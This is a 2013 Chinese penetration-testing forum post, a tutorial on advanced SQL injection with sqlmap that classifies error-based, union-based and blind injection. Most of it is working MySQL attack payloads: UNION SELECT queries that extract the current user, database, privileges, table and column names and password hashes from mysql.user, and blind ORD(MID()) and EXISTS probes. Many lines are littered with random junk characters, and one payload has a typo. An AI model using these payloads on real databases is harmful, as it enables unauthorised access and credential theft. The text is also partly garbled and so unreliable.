中国网络渗透测试联盟

标题: sqlmap高级注入 [打印本页]

作者: admin    时间: 2013-7-16 20:31
标题: sqlmap高级注入
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
1 i5 }+ U/ {2 d1 V4 k- p! i/ e
, |, f" z/ B6 y1 v( H& [这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表) X8 g2 J& Z& M* v" t2 w3 I+ l
, ]4 g+ U5 M1 I8 E6 R' I8 H) |
分类标准        分类        备注1 W% H5 f% q0 o, @+ s/ \9 s
按字段类型        整型注入,字符型注入        # Z" C& S7 |) v6 G: n# t' O
按出现的位置        get注入,post注入,cookie注入,http header注入        0 r5 w. [2 R  k: [
然而高级注入是这样的
, R5 c1 q8 M7 b# I/ B6 }( d- i! }
  Y/ x: P  K# V" o, M高级注入分类        条件
- k& H* ?# L" ?7 u! J4 `error-based sql        数据库的错误回显可以返回,存在数据库,表结构/ V; M$ L5 ~- P0 a
union-based sql        能够使用union,存在数据库,表结构
+ ~3 {1 W0 q2 W1 V, Bblind sql        存在注入' a5 j) x- G, Z9 y
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
* e  G  ]0 A/ {0 Q4 m; X
3 P: g& i- g6 p8 V  U好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
6 o: ?/ n& e7 v& ^4 f1 S( @+ V+ |   U0 N! y# ?! N% O2 ~
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。: S$ n1 v) E* D4 g" T6 ~4 ]5 F" X
: `# E2 @, x+ `: X7 v8 d3 M
这里用mysql说明2 w3 D9 k3 z* b" K

, Z4 B: P# G: S2 M6 }1 te注入坛子里很多了,请看戳我或者再戳我* ?- R) J) o% q4 |

+ X2 n& f  \, _7 y# k  Du注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
% P7 d( a# m& W5 A) Z/ H 5 t1 G& i* |" k8 t; C: ?, V4 y3 S
获取当前数据库用户名
' d% \3 q+ _5 T9 |/ n% p8 W
+ J5 Z. I# j) [* J6 _2 @1 p4 I/ U2 w; ?8 {UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
/ B7 l8 W9 l% o( c  m$ ZAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL( y( C9 u! r6 u) V- Z# Z: G
L, NULL#) ~/ G6 ?/ Y" P. d7 q* d
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。; d  x, K3 j7 T% D- A; r) j: q

" \" a( O3 t' w8 V* ?获取数据库名7 d3 m0 T! m. ^/ a' b) B' z
% e9 P6 B& t3 p4 u, X; \7 M
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#" U: W2 e5 I& k3 U5 v& K$ t4 k
获取所有用户名/ O9 E( N( x% @' i
: W  w& n# M1 K" u
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#; ]' \# D2 s; q
查看当前用户权限$ `+ R+ C2 q+ B9 k9 ~& M: I% b/ |$ p
( [, v: m( F) H( j% |" J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
! _6 p$ l# R0 M% ^1 V尝试获取密码,当然需要有能读mysql数据库的权限$ a3 p3 [9 g5 A" x+ c2 @0 s3 n

7 [( O* s6 K1 n) oUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
& Z- m1 L6 [% b8 ?+ B' i: a2 n% B+ W9 b- Z获取表名,limit什么的自己搞啦; f" q! @) ?$ T( [8 B  T6 o* {
2 j" I4 w4 x  ~7 I
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#( c/ C! m0 G2 Q" E
获取字段名及其类型! x) @: U# L5 r9 w& Y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
; u! f0 [% S! ~- r # X% u( j/ l- y5 x1 k6 W: q9 w% v0 B
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
4 W% }7 z8 D8 L) {8 |; g+ k4 ~ - l; p' }  ^# W1 ~( s& ~4 T0 X
如:6 _. O% S  K& m
获取当前用户名  j$ B' S# Q4 ~+ `6 o& |

0 y  s3 M- K; E0 j6 ?! ]' a  tAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116* I8 Z* d) }0 L" T" w
获取当前数据库
+ u& K0 H: K* }+ b. E0 t8 ~ 1 R! H! s- R  K) G
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
/ |! C& Y. p! `( e7 w: k* M: f获取表名+ g0 x. `" {' C% c% |9 b

# T6 Q8 e: @* V  A0 t1 G: o" G) RAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
1 R* x( R9 R6 f) L, U9 a获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
2 E$ T2 t: m: p0 y( ]  O  e0 L: A4 J回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
" `0 M  _. \" H8 v% a爆表% ~2 k& t  j0 {- H2 Z" f/ H- S

/ @9 Y0 T6 `* k1 T- F0 s$ Y6 j6 \AND EXISTS(select * from table)% U1 q& ]: R0 @( E
爆字段. I9 ^% U; u, s8 F. f
, ^! ^( b) r; e: U* V+ ]
AND EXISTS(select pwd from table)% |' \5 p7 w3 Y1 d$ v
盲注的变化就比较多了,由于篇幅,只是举个例子而已。% C( }, h0 o0 _$ ~

9 e" H" f  T( c! O; f" G8 `* M本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
  d" Y- \8 I& A  X2 a




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2